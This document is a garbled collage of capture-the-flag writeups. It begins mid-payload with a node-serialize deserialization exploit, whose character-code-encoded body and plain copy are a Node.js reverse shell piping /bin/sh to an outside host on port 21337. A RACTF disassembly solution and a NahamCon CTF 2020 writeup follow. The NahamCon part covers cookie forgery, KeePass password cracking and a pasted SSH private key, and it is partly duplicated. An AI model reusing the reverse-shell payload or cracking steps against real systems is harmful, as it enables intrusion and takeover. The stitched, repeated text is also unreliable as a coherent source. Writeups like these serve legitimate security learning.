{eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,56,53,46,49,56,54,46,50,52,55,46,52,48,34,59,10,80,79,82,84,61,34,50,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}<@/base64_1><@/urlencode_all_0>Upgrade-Insecure-Requests: 1```
Exploit code:```var y = {rce : function() {eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,56,53,46,49,56,54,46,50,52,55,46,52,48,34,59,10,80,79,82,84,61,34,50,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}};
var serialize = require('node-serialize');console.log("Serialized: \n" + serialize.serialize(y));```
Code contains:```var net = require('net');var spawn = require('child_process').spawn;HOST="1.1.1.1";PORT="21337";TIMEOUT="5000";if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }function c(HOST,PORT) { var client = new net.Socket(); client.connect(PORT, HOST, function() { var sh = spawn('/bin/sh',[]); client.write("Connected!\n"); client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); sh.on('exit',function(code,signal){ client.end("Disconnected!\n"); }); }); client.on('error', function(e) { setTimeout(c(HOST,PORT), TIMEOUT); });}c(HOST,PORT);```
|
> We found a strange binary, claiming to use a custom "Medea" instruction set. We found a spec for it at [https://github.com/Kantaja/MedeaCTF](https://github.com/Kantaja/MedeaCTF), can you help us solve this?
1. Write a disassembler for this "Medea" architecture. There's not much to say here; just a matter of implementing the provided spec. [https://github.com/ba-sing-sec/MedeaVM](https://github.com/ba-sing-sec/MedeaVM) (I've polished this up a bit since the CTF so it now has full support for loading compressed images and running a VM; for the CTF we used a python script to convert the compressed image to an uncompressed one and only implemented some of the opcodes in the VM. The VM turned out to be useless anyway since the provdied image was broken, but a disassembler was useful.)2. Disassemble the code memory from the given image and reverse-engineer it.I've annotated the disassembly below:```0x0001 icpy 0x003e,rtrgt y = get_input()0x0004 call nil,nil,nil0x0006 pop ry0x0008 icpy 0x000c,rz z = 120x000b cmp ry,rz if y != z: 0x000d icpy 0x0017,rtrgt0x0010 jequ 0x0011 icpy 0x005a,rtrgt incorrect_length()0x0014 call nil,nil,nil0x0016 halt halt() do:0x0017 cpy rz,rtrgt offset = z0x0019 push rz push(z)0x001b rcpf+ smain(0x0001),rx x = smain[1 + offset]0x001e rcpf+ sin(0x0001),rz z = sin[1 + offset]0x0021 cmpl rz z = ~z0x0023 xor rx,rz x = x ^ z0x0025 icpy 0x00ff,rz z = 0xff0x0028 and rx,rz x = x & z0x002a writ rx putchar(x)0x002c pop rz z = pop()0x002e inc rz z++0x0030 icpy 0x0000,ry y = 00x0033 cmp rx,ry while x!= y0x0035 icpy 0x003d,rtrgt0x0038 jequ0x0039 icpy 0x0017,rtrgt0x003c jump0x003d halt halt()
def get_input():0x003e icpy 0x000a,ry y = '\n'0x0041 icpy 0x0000,rz z = 0 while True:0x0044 inc rz z++ 0x0046 read rx x = getchar()0x0048 cmp rx,ry if x == y:0x004a icpy 0x0057,rtrgt break0x004d jequ0x004e cpy rz,rtrgt offset = z0x0050 rcpt+ nil,smain(0x0001) smain[1 + offset] = 00x0053 icpy 0x0044,rtrgt0x0056 jump0x0057 cpy rz,rtrgt return z0x0059 rtrn
def incorrect_length(): # prints "Incorrect length!"0x005a icpy 0x6e49,rx x = 'In'0x005d icpy 0x00a2,rtrgt put_2_chars(x)0x0060 call rx,nil,nil0x0062 icpy 0x6f63,rx x = 'co'0x0065 icpy 0x00a2,rtrgt put_2_chars(x)0x0068 call rx,nil,nil0x006a icpy 0x7272,rx [etc]0x006d icpy 0x00a2,rtrgt0x0070 call rx,nil,nil0x0072 icpy 0x6365,rx0x0075 icpy 0x00a2,rtrgt0x0078 call rx,nil,nil0x007a icpy 0x2074,rx0x007d icpy 0x00a2,rtrgt0x0080 call rx,nil,nil0x0082 icpy 0x656c,rx0x0085 icpy 0x00a2,rtrgt0x0088 call rx,nil,nil0x008a icpy 0x676e,rx0x008d icpy 0x00a2,rtrgt0x0090 call rx,nil,nil0x0092 icpy 0x6874,rx0x0095 icpy 0x00a2,rtrgt0x0098 call rx,nil,nil0x009a icpy 0x0a21,rx0x009d icpy 0x00a2,rtrgt0x00a0 call rx,nil,nil
def put_2_chars(x):0x00a2 writ rx putchar(x & 0xff)0x00a4 bswp rx byteswap(x)0x00a6 writ rx putchar(x & 0xff)0x00a8 rtrv return```
There are two obvious bugs, but it's easy enough to figure out what's going on. It reads a line from the input, performs some computations against the contents of the input memory, and prints the output.
First, the instruction at `0x0050` is wrong:```0x0050 rcpt+ nil,smain(0x0001) smain[1 + offset] = 0```
The first argument is invalid (shown in my disassmebly as `nil`). If we look at the machine code, the instruction word is `0b0011001001000010` - the first (most significant) four bits indicate that the first argument is a register argument and the second is an address in `smain`.
The first argument word (describing register arguments) is `0b0000000100000000`. This is invalid. The spec says that the lowest 4 bits of the register argument word are reserved, and then the register indices take 4 bits each, packed to the right so that the next 4 bits above the reserved bits describe the last register argument. In this case those bits are all 0, but the second register argument index (which is unused since the instruction only takes one register argument, per the argument flags in the instruction word) indicates `rx`. From context, we can tell that it probably should be `rx`, since `rx` at this point contains the character read as input, which we want to store in memory so it can be processed later.
The second bug is that `rz` is set to 12 at address `0x0008` (to check the length of the input). Then `rz` is used as a counter while processing the input. From context it seems that it should count from 0, but it is never cleared and still has the value 12 at that point.
> These bugs were fixed by the challenge author, but the fixed image was not published until after the CTF (although some teams apparently received the fixed image privately from the challenge author during the CTF).
Accounting for those bugs, we can figure out that the program reads 12 characters, then outputs `input[n] ^ ~sin[n] & 0xff` for each character of the input.
3. Dump the read-only memory `sin` from the image (starting at address `0x0001`):```0xbc 0xac 0xaf 0xbf 0xa8 0xb6 0x8f 0xfa 0x9c 0xae 0xff 0xb6```
We compute the input which would produce the known characters of the flag format `ractf{?????}` and get `123412?????4`. From this we can guess the input is `123412341234`, and compute the output: `ractf{C1Rc3}`. |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
